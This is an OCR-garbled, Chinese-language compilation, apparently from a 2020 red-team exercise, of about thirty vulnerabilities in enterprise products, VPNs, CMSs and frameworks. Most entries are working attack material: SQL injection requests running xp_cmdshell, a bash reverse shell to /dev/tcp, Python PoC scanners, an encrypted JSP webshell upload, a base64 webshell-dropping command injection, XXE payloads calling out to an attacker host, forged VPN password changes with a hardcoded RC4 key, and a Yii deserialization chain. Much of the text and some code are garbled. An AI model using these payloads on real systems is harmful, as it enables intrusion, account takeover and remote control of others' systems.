HW2020 - Oday &4,

AdminTony /245
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H/&GRP-u8 SQLiEA

O 00 N O U1 h W IN B

L e el =
vl A W N R O

POST /Proxy HTTP/1.1

Accept: Accept: */*

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Host: host

Content-Length: 357

Connection: Keep-Alive

Cache-control: no-cache

cver=9.8.0&dp=<?xm] version="1.0" encoding="GB2312"7?><RIPACKET
version="1"><DATAFORMAT>XML</DATAFORMAT><RIFUNCTION><NAME>AS_DataRe
guest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA
format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME
><DATA format="text">exec xp_cmdshell 'net
user'</DATA></PARAM></PARAMS></RIFUNCTION></RIPACKET>

2. KEl{ETopApp-LB sqliEA

N O v W N

(0]

10
11
12
13
14
15
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17

POST /acc/clsf/report/datasource.php HTTP/1.1

Host:

Connection: close

Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-version: 1.6.0.3

X-Requested-with: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)
Applewebkit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 safari/537.36
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: PHPSESSID=ijqtopbcbmu8d7005t3kmvgt57

Content-Type: application/x-www-form-urlencoded

Content-Length: 201

t=1&e=0&s=t&1=1&vid=1+union select
1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22--
+&g1d=0&1mt=10&0=r_Speed&asc=false&p=8&11ipf=&1ipt=&ripf=&ript=&dscp=&proto=
&1pf=&1pt=&rpf=&rpt=@. .

3.75%(SPIREDR RCEEi[d


af://n1449
af://n1453
af://n1455
af://n1458

POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtzDUiOnRydwv9
HTTP/1.1

Host: XX.X.X.X

Connection: close

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.22.0

content-Length: 77

{"params": "w=123\"'1234123'\"|bash -i >& /dev/tcp/ip/port 0>&1"}

/M 6 whoani

N 66 "1s —al”

root root oo

root root H 152843856%. lic

root root B 1598636224, lic

root root B 1598643187, lic

root root 8 1599895560, lic

root root 8 483 . php

root root ] 8 abs —-» ssfrsedrs/managersbins. . varsabs
root root H c.txt

root root 8 config_auth.php

root root 8 confirm_auth.php

root root 8 dev_linkage_launch.php
root root 8 dispatcher.php

root root 8 dividelploader.php
root root g download

root root 255825 B favicon.ico

PUXPUXPWX .
PUXP—XP—X.
L U -
PUXP—XI'X.
PUXP—XP—X.
PUXP—XP—X.
PUXP—XP—X.

i
i
1
1
i
i
i
1
i
i
i
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#coding:utf-8
# RoiARHY, OB B
def poc(u,**attack):
print("[*] Checking %s"%(u))
uri = "/api/edr/sangforinter/v2/cssp/slog_client?
token=eyJtzDUiOnRydwv9"
url = u+uri
#data={"params":"w=123\""'1234123"\" |bash -i >& /dev/tcp/1.1.1.1/8888
0>&1"}
if not attack:
data={"params":"w=123\""'1234123"'\"|echo aaabbbccc00aa"}
else:
if attack['flag']:
data={"params":"w=123\""'1234123"'\"|{}".format(attack['cmd'])}
try:
res =
requests.post(url,data=json.dumps(data),verify=False,timeout=timeout)
data = json.loads(res.content)
if (data["code"] == 0) or (data["code"] == 1116):
print("[*] %s is vulnerabile !"%(u))
if attack and (data["code"] == 0):
for d in data["data"]:

print(d)
else:
print("[-] May command error!")
else:
print("[*] %s may not vulnerabile ! ,code is:%s"%

(u,str(data["code"])))



25 except Exception as e:
26 print("[-] Error %s , %s"%(u,e))

4.3 UTSE T F

BE(ERERD->ESOREB A True-> Y T->FRHHE XA > RS EERRMDS>EEMDSER

EHEEKIEO: /webapi/vl/system/accountmanage/account
5.WPSan SHiTimil
http://zeifan.my/security/rce/heap/2020/09/03/wps-rce-heap.html
6. 55 a2 rce

nday, BHZRIEEE:

1 POST /shterm/listener/tui_update.php
3 a=["t';import os;os.popen('whoami')#"]
Oday:

1 https://10.20.10.10/ha_request.php?
action=install&ipaddr=10.20.10.11&node_id=1${IFS}| echo${IFS}"
ZWNobyAn PD9wWaHAgQGV2YWwoJFI9SRVFVRVNUWZ EWMDgZXSk7 Pz4n Pj 4vdmFyL3d3dy9zaHRTcmOvc
mvzb3VyY2VzL3FyY29kzS9sYmo3Ny5waHAK" |base64${IFS}- d|bash |${IFS}|echo${IFS}

&% https://m.threatbook.cn/detail/2889

7. BREREN R

TR

EEXE LIERR, FETRFERIRS LA, FaftRRE RIS RS TITISFIRE,
AT HRIREBGIFERE, SHTRINEIRTLARSS, SEEEXM LERR, FBZRRRLER
BlwebshellfifR.  (EUFIBERZRIEMERE5T)

TR, FETRAERFEBEET, WTEIHERNBFAIESAIREHTRERE, TLIE
TEERAHRSHIEER, FaEiTURTERNT T RRXHESTNGOSH, SHHOIITR
A, ZmEREELALRNE TRYRERFIRITERS S, RIEREGRAIERAR, L TR
BRI, (ERAREshel B,

1 POST /uai/download/uploadfileToPath.htm HTTP/1.1
2 HOST: XXXXX


af://n1463
af://n1466
http://zeifan.my/security/rce/heap/2020/09/03/wps-rce-heap.html
af://n1468
https://m.threatbook.cn/detail/2889
af://n1475
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————————————————————————————— 570XXXXXXXXX6025274XXXXXXXX1
Content-Disposition: form-data; name="input_Tocalfile"; filename="xxx.jsp"
content-Type: image/png

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U
extends ClassLoader{uU(ClassLoader c){super(c);}public Class g(byte []b)
{return super.defineClass(b,0,b.Tength);}3}%><%if

(request.getMethod() .equals("POST")) {String k="e45e329feb5d925b" ; /*iZ% ¥ Nik
P32 himd SE R RT 1640, EiLZEZ %Y rebeyond*/session. putvalue("u",k) ;Cipher
c=Cipher.getInstance("AES");c.init(2,new
SecretKeySpec(k.getBytes(),"AES")) ;new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder () .decodeBuffer(request.getReader().readLine()))) .new
Instance() .equals(pageContext) ;}%>

————————————————————————————— 570xXXXXXXXXX602 527 4XXXXXXXX1
Ccontent-Disposition: form-data; name="uploadpath"

. ./webapps/notifymsg/devreport/
————————————————————————————— 570xXXXXXXXXX602 527 4XXXXXXXX1~~

https://mp.weixin.gg.com/s/-cu0zc8eqsd4T MwpaROw6Q ixEEH 5%,
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O NO L1 A W IN PR

10
11
12
13
14
15
16
17

18
19
20
21
22
23
24

# RDACHY, JoBe b B
def poc(u,**kw):
if kw:
file
else:
file = '/etc/passwd’
print("[*] Checking %s"%(u))
uri = "/wxjsapi/saveyziFile?
fileName=test&downloadurl=file://%s&fileExt=txt"%(file)
url = u + uri
try:
res = requests.get(url,verify=False,timeout=timeout)
except Exception as e:
print("[-] Error %s , %s"%(u,e))
return

kw['file']

try:
data = json.loads(res.content)
res = requests.get(u+"/file/fileNoLogin/%s"%

(data['id']),verify=False, timeout=timeout)

print("[*] %s is vulnerabile!" %(u))
print(res.text)
Tog("[*] %s is vulnerabile!"™ %(u))
Tog(res.text)

except Exception as e:
print("[-] %s not vulnerabile!"%(u))
#print("[-]1 %s"%(e))


https://mp.weixin.qq.com/s/-cu0zc8eqs4T_MwpaR0w6Q
af://n1484

[#*]1 http:/. 4 is vulnerabile?
root:x:@:@:root: /oot hinshash
bhin:x:1 bhin:sbin: zhin/nologin
:2:2:daemon:/shin:/sbhin/nologin
t4:adm:/varsadm:/shin/nologin
t1lp:svarsspoolslpd: #shinsnologin
sync:x:5:@:sync:/shin:bin-sync
zhutdown:x:6:B:shutdoun: shin= shin shutdown
halt:x:7:8:halt: szhin: shin- halt
mail:x:8:12:mail: varsspoolsmail:/shin/nologin
wucp:x:1@:14uucp: Avarsspoolsuucp:/shinsnologin
operator:x:ll:Bioperator: /root:/shin/nologin
2:10B:games i usr/games:/shin/nologin
:13:38:gopher: var~ gopher: shin/nologin
:58:FTP User: var/ftp:~ssbhin/nologin
nobody:x:99:9%2 :Nobody:/:/shin nologin
dbus :x:81:81:System message bus:/:/shin/nologin
ushnuxd:x:113:113 ;usbhbmuxd user:=/:/shin/nologin
vcsatx:6?:6%:virtual console memory ouwner:sdev:isshinsnologin

2 T HERSHEE IRt A
EbanFIBR: ENfilefIER: /etc/

9.7 {50k SSL VPN ini2(VE3AITIER (&
7c)

10.Apache DolphinScheduler 2341
1Tirmile]

EE— I oHAEFIME, ST ENTUUDAGERTLTHAE) LIERAESRAERSR. AR EEER
PR, [09/12 SEBANIRHE—HEGAZERD,


af://n1492
af://n1494

ZimRfFE T SRR OARPRGAINAY db S WMSEI DBCEFinFFIt. 1. EREIER ->
BHEIRHL,

el e o e Q
B EEREE PR HEROH 3 L] Wi L3

1 [ JTp—— MYSQ LG =] 20200820 11.06.17

rorRr MYSD 2 SR L

2, jdbCERSEHR T A XERBRAMEERANERSRS

BUEREIER

*EUERE © mysal POSTGRESQL HIVE/IMPALA CLICKHOUSE ORACLE SQLSERVER

* HUEEER

ek

ERAIPENE

3306

EEINSTERES

jAbcEERESE AR ["key1™ value1” "key2" "value2".. } TEIEE

3. BUATEUERINE)dbcEES4h M LIEEMA.



POST /dolphinscheduler/datasources/connect HTTP/1.1

Host: L3.ek al 104" 4

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 199

Origin: http://ld o *1 &1 dabad

Connection: close

Referer: http:// P A I | 'mlald /dolphinscheduler/ui/

Cookie: sessionld=f7f57f83-c9ba-4c33-8el3-56a74ddc458d; language=zh_CN; sessionld=
f7f57f83-c9ba-4c33-8e13-56a74ddc458d

NPRPOWoo~NOWU & wNE

w

4 type=MYSQL&name=test&note=&host=127.0.0.1&port=3306&database=test@qprincipal=&userName=root&
password=root&connectType=&other={"detectCustomCollations" :true,"autoDeserialize":true}

- oE
IS5

Wik

POST /dolphinscheduler/datasources/connect HTTP/1.1
type=MYSQL&name=test&note=&host=127.0.0.1&port=3306&database=test&

principal=&userName=root&password=root&connectType=&

N O v AW N R

other={"detectCustomCollations":true, "autobeserialize":true}

KFMysQL |DBCEFImR FFLRRITERSE

https://www.anquanke.com/post/id/203086
11.Exchange Server =SB 1TiER

CVE-2020-16875: Exchange Server IZf2SiBH1TiRIE (2020098 EiRiR)

ps hRPOC: https://srcincite.io/pocs/cve-2020-16875.ps1.txt

py hiRPOC: https://srcincite.io/pocs/cve-2020-16875.py.txt

12.Apache DolphinScheduler N fRE=E
iFA[CVE-2020-13922]

1 POST /dolphinscheduler/users/update

2

3 id=1l&userName=admin&userPassword=Passwordl!&tenantId=1&email=sdluser%40sdiuse
r.sdluser&phone=

13.Netlogon {§URH Bl (CVE-2020-
1472)

[RiAEE] Netlogon £1UgFH A (CVE-2020-1472)


https://www.anquanke.com/post/id/203086
af://n1505
https://srcincite.io/pocs/cve-2020-16875.ps1.txt
https://srcincite.io/pocs/cve-2020-16875.py.txt
af://n1509
af://n1511

EH, SBEREENREIEIMRE ARATF T NetLogonfstiligT iR (CVE-2020-1472) BHFHERS
WA, SERRNEERART. RESHWIERNKEEEINetLogonZiZ Y (MS-NRPC) #37
SEEhRERN ReBiEr, JFRLRRABREEERRIGENR,. iRRAMES B4 T BT
B8, CVSSiFoA10, M2, BHEXAF RRREEREEI TR,

SZEMIRRAS :

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core installation)

Windows Server 2016

Windows Server 2016 (Server Core installation)

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

A -

IEEIRIREANSecuraBEGitHub_EETIRIEMIA, EXBPAERL TREF TN :
https://github.com/SecuraBV/CVE-2020-1472/

Nk

1) BAFAHR

BRIERE S BRI RN A M T EERENZ 2N T, IBRENZR AR R RE
THATROR, B0 TEGEE:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

2) Eftbprirfait

TEREEFNT R, ERBIEREEEFIRS (DC) BHEARZ RN ZIRERN
IBEEELERHTEE (MBS CVE-2020-1472 F8XAY Netlogon L& BIEERZAIEX)

https://support.microsoft.com/zh-cn/help/4557222/how-to-manage-the-changes-in-netlogon-sec

ure-channel-connections-assoc

imiAlexp: https://github.com/dirkjanm/CVE-2020-1472

14.coremail 0Oday - may be rce (%)



https://github.com/SecuraBV/CVE-2020-1472/
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472
https://support.microsoft.com/zh-cn/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc
https://github.com/dirkjanm/CVE-2020-1472
af://n1541
af://n1543

15.activemqizfE{(Xi3H1r0day

http://activemq.apache.org/security-advisories.data/CVE-2020-13920-announcement.txt
B ESIRR R R
163Emﬂ1.=.§5(.4nll lﬂ'lﬁgé N |§ =
5
-
T EEFRR, BTSRRI R, H/?module=auth_user&action=mod_edit_pwd
BOKRRISEERERESUEEAFERE. FilsupermanikFuidA,

P4

=

A0

1 POST /?module=auth_user&action=mod_edit_pwd
2 Cookie: username=superman;
3
4

uid=1&pd=Newpasswd&mod_pwd=1&d1p_perm=1

17.Wordpress File-manager{E=3{4 L&

&% https://www.anguanke.com/post/id/216990

HEHERZ XS WordpressFHABELE; File-managerfif th 218 BRI RIRH AR X4 LERR.
BT LGRS TR

/wordpress/wp-content/plugins/wp-file-manager/lib/files/shell.php

18.CVE-2020-7293 McAfee Web Z/1 S5
=y

HERBRIE: https:/mp.weixin.qg.com/s/Cd3MIIHICODsqTVIzKgxWA

19.ThinkAdminV6 {Fa S {4i2E

(Iﬁg%lﬁ 7_\/\ )

Update.php =MEREREGHIAIRT. BRIBHEEPOSTHIERrulesSEEFZEURLI D


af://n1543
http://activemq.apache.org/security-advisories.data/CVE-2020-13920-announcement.txt
af://n1545
af://n1550
https://www.anquanke.com/post/id/216990
af://n1559
https://mp.weixin.qq.com/s/Cd3M9IHiC9DsqTVlzKqxWA
af://n1562

1 POST /admin.html?s=admin/api.Update/node
2
3 rules=%5B%22.%2F%22%5D

Request Response ==
Raw | Params | Headers | Hex Raw | Headers | Hex | JSON Beautifier | MarkINFO |
prety EE \n Actions v Raw Render \n  Actions v
1 POST /adnin.html?s=admin/api.Update/node HTTP/1.1 4 7 Set-Cookie: PHPSESSID=74718abSdcd5234e90bfdle1d6a21fed; path=/
2 Host: "®. T Na.IT 8 Strict-Transport-Security: max-age-31536000
3 Content-Type: application/x-www-form-urlencoded 9 Content-Length: 215874
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_16_0) AppleWebKit/537.36 (KHTML, Like 10
Gecko) Chrome/85.0.4183.83 Safari/537.3622 11 {
5 Content-Length: 22 "code":1,
6 “info": "RERXMIIRMIN! ",
7 rules-¥5B%22.%2F%22%5d “data":{
"rules”:[
(VA
1.
"ignore":[
"list":[
{
“name”:".\/404 . html",
"hash": "24f7c64b4fd3887739b7baldcbf18a2"
3,
{
“name":".\/adnin_v6.sql",
"hash": "a6add0e2aab0e7d45f1ef35ad7846¢52"
3,
{
“name”:".\/app\/adnin\/command\/Articles.php", oo g P
“hash": "5172786140c2bfe4d5915b8c40c5673b" N (") J/ N
1, /=
b
v e >

2. MHEE EEIF—SRRUTFRZMRINEENER. 1HESNEUpdate. phphAIINZEEREL.

/admin.html?
s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1alalblalalb2r33322u2x2v
1b2s2p382p2g2p372t0y342w34

code: 1,
info: "EHCZHFAZERTT ! "
v data: {
content:
"emOvdDpd”T — {m]u019zYm]1uL25vbGInaW4KYWR t Ong6Mz 000mFkbTovdmFyl
)
} ::
b \_«/ // f 75

FRECZ AR T

20.VMware Fusion ffEiEFHmiE (CVE-
2020-3980)

GEHEE=))
TREBFR: VMware Fusion fRIEFHRIE (CVE-2020-3980)
S MIhRA: VMware Fusion 11.x
REEEIY
T XRA EFTERNRBHNT B, ZINEER12.XRAAIVMware Fusion,
EERT, "lEFREENE VMware Fusion,

=.
.

i

VMware Fusion 777 SRIEFHRIE. 1ZmBEATFREERERARKR, EEULAEFEEERAFT
LAEFusionfIRFE_ EHITEEARRE,


af://n1593
af://n1602

21.CNVD-2020-27769-#7/REETRSWAS5.03

{HiZEELRR

BREM: https:/mp.weixin.gg.com/s/Wm gGZyLXj1S3WTUiaUYQA

https://www.cnvd.org.cn/flaw/show/CNVD-2020-27769

22. Weblogic 110P RF5{iEiR

1.1 wiRER

Weblogic {&£F3 GIOP Wil TRRFIAIR ML, REE BT RFFMLATLIEITER

KREHAT, ZINYETILF 7001 im0, ENGHITHES.

1.2 SR

BT IIOP NIIFER SRR, KZEER RCEEX. WRLKMAZT IIOP, HEIR
BEH weblogic &N TRIE. AIEI XA IIOP )M TR, BIEUT: &

Weblogic #=#l&, &R RS ->"AdminServer”->"HY”,

&, FHE/S Weblogic INH, FERE43.

CVE-2020-14644

EiH"=2A I0P"RYZ)

23.YiitESR S RF5{LRCEFIRHE

1) ERIESHIER (CVE-2020-15148)

Showing 2 changed files with 12 additions and 0 deletions.

vim CHANGELOG.md (%]

1. @ -4,6 +4,7 @8 Yii Framework 2 Change Log
2.0.38 under development

- Enh #18213: Do not load fixtures with circular dependencies twice instead of throwing an exception

(JesseHinesa)
- Bug #18066: Fix 'yii\db\Query::create()® wasn't using all info from withQuery()" (maximkou)
- Bug #18269: Fix integer safe attribute to work properly in 'yiilbase\Model' (Ladone)

v 11 mEmEm db/BatchQueryResult.php (2]

1t @@ -223,4 +223,15 @@ private function getDbDriverName()

return null;
b

2.0.38 under development

18213: Do not load fixtures with circular dependencies twice instead of throwing an ex:

SseHi
~ Bug #18066: Fix 'yii\db\Query::create()® wasn't using all info from ‘withQuery()" (maximkou)
~ Bug #18269: Fix integer safe attribute to work properly in ‘yiilbase\Model® (Ladone)

}

serialization is disabled to prevent remote code execution in applicati
eria

er input containing spet uy< afted string.

ince 2.0.38

public function _wakeup()

{

¥

throw ne

' \BadMethodCallException(*Cannot unserialize ' . _CLASS_);

Unified  Split

+ - Bug: (CVE-2020-15148): Disable unserialization of ‘yiildb\BatchQueryResult' to prevent remote code
ase application calls unserialize() on user input containing specially crafted strin

g (sandark,

ception

WRIEE S EHAIAIDEM, BEEIEyii/db/BatchQueryResult.php2idh, FilwakeupZsix, BhLE
unserialize—/*BatchQueryResult¥R, Z¥IKRBIdestruct5iEFE— I FIFEAIRCERE,

EARRLBHFNT, REHE (2019F9BMMBNET) , &EA(1E. BAEENT:

https://xz.aliyun.com/t/8082#toc-8

POCH#a&E: https://mp.weixin.qg.com/s/KNhKti5Kcl-She4pU3D-5¢



af://n1602
https://mp.weixin.qq.com/s/Wm_gGZyLXj1S3WTUiaUYQA
https://www.cnvd.org.cn/flaw/show/CNVD-2020-27769
af://n1605
af://n1616
https://xz.aliyun.com/t/8082#toc-8
https://mp.weixin.qq.com/s/KNhKti5Kcl-She4pU3D-5g

2) UnicodeStringXISAY_ wakeupZiki&EAIRCEFI LS

f& 7 BatchQueryResultiXAY3ELAN, UnicodeString®d&RAY_ wakeupgiEtiizE—1r] FHRIRCEFIH
HE, SRR EFES.

3) CVE-2020-15148%M T Al gE#fE SR
IESRAN T 2FRwakeupTiEitithi®E, BILRFFIMRY, LARIBMCTFRERIRHE, icEBAGERILASE
Pwakeup7TiZHYER, LRBEHHEXTFEGRAE NS,

1 0:23:"yii\db\BatchQueryResult":1:
{s:36:"yii\db\BatchQueryResult_dataReader";0:17:"yii\web\DbSession":1:
{s:13:"writeCallback";a:2:{i:0;0:20:"yii\rest\IndexAction":2:
{s:11:"checkAccess";s:7:"phpinfo";s:2:"id";s:1:"1";3}i:1;s:3:"run";3}}}

0:23:"yii\db\BatchQueryResult":1 : Bt 2N LI AANERAT.

24.;%{=5BRSSL VPN nday Pre auth{E= 5319
55

REMERONRNSE:

FHVPNINZREER T EIAR ey, W& AT FkeyaiE E E R EURE N MIEBUERRAFIET
MRFMM FEERKS

M7.6.6R1kRAkey 920181118

M7.6.1key920100720

TTERC4_STR_LENFIAR

1  from Crypto.Cipher import ARC4
2 from binascii import a2b_hex
3
4 def myRrRC4(data,key):
5 rc4l = ARC4.new(key)
6 encrypted = rc4l.encrypt(data)
7 return encrypted.encode('hex")
8
9 def rc4_decrpt_hex(data,key):
10 rc4l = ARC4.new(key)
11 return rc4l.decrypt(a2b_hex(data))
12
13  key = '20100720'
14  data =
r',username=TARGET_USERNAME,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=TARGET
_PASSWORD, '

15 print(myRc4(data,key))


af://n1646

1 POST https://<PATH>/por/changepwd.csp
2
3
4

sessReq=clusterd&sessid=0&str=RC4_STR&1en=RC4_STR_LEN (JHIZ 5 5 45 5

Pretty &Y \n Actions v

1 POST /por/changepwd.csp HTTP/1.1

Host: I=." =.Z.1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_16_@) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/85.0.4183.83 Safari/537.36

Cookie:

Content-Type: application/x-www-form-urlencoded

Content-Length: 208

w ™~

o~ Oy U1 B

sessReg=clusterd&sessid=0&str=RC4_STR&len=
AT e Y s e g | 0 T e ol Tl T 0 O PR e U e gt N i W Mg o LS - LT Toigh

—ldead crlied A A A T M e T e e A nﬁ'.-JU4
dl E=t

25.;F%(SBRSSL VPN {Z4IEFINS

REMERUODMENSE: CRR: B7MNE 2RS)

IENFHSEOREHENSEUNBRETRFNFISH

A REERWS
1 POST https://#4%/por/changetelnum.csp?apiversion=1
2
3 newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sid=0&1i

p=127.0.0.1

Pretty m \n Actions v

1 POST /por/changetelnum.csp?apiversion=1 HTTP/1.1

2 Host: ["rd 1

3 User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_16_0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

4 Cookie:

5 Content-Type: application/x-www-form-urlencoded

6 Content-Length: 208

7

8 newtel=13¢ Am™ .394&sessReqg=clusterd&username=admin&grpid=0&sessid=0&ip=127.0.0.1

BT

N
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26.Spectrum Protect Plus{EECiE3MITRH
il (cve-2020-4711)

&%
27 .mssqhxfE ISR 1T(CVE-2020-0618)

poc: https://github.com/euphratica/CVE-2020-0618

https://github.com/wortell/cve-2020-0618

28.CVE-2020-4643 IBM WebSpherefZ{E
XXEFMEBES i EN il
AR *

IBM WebSphere S Ff2RAR55887.0. 8.0, 8.5 #19.0 FEAMEXML HUEAT B B ZRIXML SNBSS EN
(XXE) &, mEGHE LRI BLREATERER. 1BM Xforce ID: 185590,

* B E: *

WebSphere Application Server 7.0kx4<

WebSphere Application Server 8.0kxZ

WebSphere Application Server 8.5k

WebSphere Application Server 9.0k4s

HESEN: *

B ERRMATN ThRATIZE:

WebSphere 9.0.0.0 - 9.0.5.5h A, #NFERE]9.0.5.6LA EhRAEZEHNT
WebSphere 8.5.0.0 - 8.5.5.17higAs, #2NFHEKE]8.5.5.19LA ERRA S ZZ4MT
WebSphere 8.0.0.0 - 8.0.0.15hfxA, FEISTEFERES.0.0.15MRABLENT
WebSphere 7.0.0.0 - 7.0.0.45 higAs, ZSEFHREN7.0.0. ASARABREANT

poc:


af://n1692
af://n1694
https://github.com/euphrat1ca/CVE-2020-0618
https://github.com/wortell/cve-2020-0618
af://n1697

1 xmliiR:

2  <!DOCTYPE x [

3 <!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini">

4 <!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd">

5 %bbb ;

6 1>

7  <definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl1/">
8 &ddd;

9 </definitions>
10
11 xx.dtdF:
12 <!ENTITY % ccc '<!ENTITY ddd &#39;<import namespace="uri"

Tocation="http://yourip:8000/xxeLog?%aaa;" />&#39;>">%ccc;
AP THOHE: *

https://www.ibm.com/support/pages/node/6333617

S *

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4643

https://www.ibm.com/support/pages/node/6334311

POCLAR ST E:

https://my.oschina.net/u/4313521/blog/4633393

https://paper.seebug.org/1342/

29.Joomla! paGO Commerce 2.5.9.0 IZ{£
SQL iEA

O 00 N O wuv

10
11

12

13
14

POST /joomla/administrator/index.php?option=com_pago&view=comments HTTP/1.1
Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64; rv:79.0)
Gecko/20100101 Firefox/79.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;qg=0.3

Accept-Encoding: gzip, deflate

content-Type: application/x-www-form-urlencoded

Content-Length: 163

origin: http://Tocalhost

Connection: close

Referer: http://localhost/joomla/administrator/index.php?
option=com_pago&view=comments

Cookie: 4bdell3dfc9bf88al3de3b5b9eabe495=sp6rp5mgnihh2i323r57cvesoe; crisp-
client%2Fsession%2F0ac26dbb-4c2f-490e-88b2-7292834ac0e9=session_a9697dd7-
152d-4b1f-a324-3add3619blel

Upgrade-Insecure-Requests: 1


https://www.ibm.com/support/pages/node/6333617
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4643
https://www.ibm.com/support/pages/node/6334311
https://my.oschina.net/u/4313521/blog/4633393
https://paper.seebug.org/1342/
af://n1723

filter_search=&1imit=10&filter_published=1&task=&controller=comments&boxche
cked=0&filter_order=id&filter_order_Dir=desc&5a672ab408523f68032b7bdcd7d4bb
5c=1

Sqlmap poc:

sqlmap -r pago --dbs --risk=3 --level=5 --random-agent -p filter_published

A ¥
30.5¢88wafTjZEsed
XFFHmiE=FER N /9127.0.0.1, SXiwaf EERNIEE it

31.Typesetter CMS{E=I {4 (&

2% https://github.com/Typesetter/Typesetter/issues/674

L)
»

C @ localhost x.php/Admin/Uploaded it BB

R ge » Administration » Uploaded Files

e t[2) [@[=] (B]7) ([E]a ' E Ule (@ o *

42 Places it §

o

=43 _uploaded
file index.html
flash

Galleries

Trash

- |image
= GRS thumbnails

media
Settings

Tools

L

DEVICES

admindb

32.UsualToolCMS-8.0 sqliENifsilF

payload:

a_templetex.php?t=open&id=1&paths=templete/index' where id=1 and
if(ascii(substring(user(),1,1))>0,sleep(5),1)--+



af://n1727
af://n1729
https://github.com/Typesetter/Typesetter/issues/674
af://n1766

ﬁG;TEZEETTQE;:Tﬁ&W J?E;]Huau Hax | HTML | Render |

ET : HTTP/11200 OK _':
UsualToolCMS-8.0-Release/cmsadminfa_templetex phpRt=open&id=18&paths=te Date Mon, 02 Sep 2019 02.00:29 GMT
nplete/index%27%20where%20i1d = 1%20and %2 Oif(ascii(substring(user(), 1,1))%3EQ Server Apache/24.23 (Win32) OpenSSL/10.2 r
leep(3), 0--+ HTTP/11 mod _fegid/239
lost }?2 168 8 108 8081 X-Powered-By. PHP/53.29
Iser-Agent: Mogzilla/5.0 (Windows NT 100; Win&4; x64; rv.66.0) Gecko/20100101 Expires: Thu, 19 Nov 1981 085200 GMT
irefox/66.0 Cache-Control. no-store, no-cache, must-revalidate,
iccept: text/htrnl, application/xhtri+xml applicabon/xmlq=09*/*q=08 post-check =0, pre-check=0
iccept-Language Pragma: no-cache
h-CNzh,q=082zh-TW,q=07zh-HK,q=05,en-US,q=03 en,q=02 | Connection: close
eferer Content-Type: text/html
ttp://192.168 8 108 8081/Usual ToolCMS-8 0-Release/cmsadmin/a_book_category Content-Length: 7298
hpAt=mon&id=1%20UNION%20ALL %20SELEC T%20MULL.CONCAT(Ox71766a7
Tluser(),0x716b627671),NULL IDOCTY 3C//DTD HTML 4.0
onnection: close Transiti
ookie UTCMSLanguage=zh, PHPSESSID =r829jtif9ciaro2050k850ceal “hitp 4/loose drd
Ipgrade-Insecure-Requests: 1 <htrnl >
<head>
<meta http-equiv="content-type” content="text/html

L charset=UTF-8" /> 5

v <meta hitp-equiv="content-language” content="zh-CN" v
22 = 8 (B [Type @ soarchform Omeiches | (00 () () () 71 o sowch - Ty Oy
Jone 7,645 bytes | 8,484 milis

33.TP-Link=IBHGLNCOXXRFFER SiE
Nl

1 ##
2 # This module requires Metasploit: https://metasploit.com/download
3 # current source: https://github.com/rapid7/metasploit-framework
4 ##
5
6  class MetasploitModule < Msf::Exploit::Remote
7 Rank = ExcellentRanking
8
9 include Msf::Exploit::Remote::HttpClient
10 include Msf::Exploit::CmdStager
11
12 def initialize(info = {})
13 super(
14 update_info(
15 info,
16 "Name' => 'TP-Link Cloud Cameras NCXXX Bonjour Command Injection',
17 'Description’ => %q{
18 TP-Link cToud cameras NCXXX series (NC200, NC210, NC220, NC230,
19 NC250, NC260, NC450) are vulnerable to an authenticated command
20 injection. In all devices except NC210, despite a check on the
name length in
21 swSystemSetProductAliasCheck, no other checks are in place 1in
order
22 to prevent shell metacharacters from being introduced. The
system name
23 would then be used in swBonjourStartHTTP as part of a shell
command
24 where arbitrary commands could be injected and executed as root.
NC210 devices
25 cannot be exploited directly via /setsysname.cgi due to proper

input


af://n1823

validation. NC210 devices are still vulnerable since
swBonjourStartHTTP
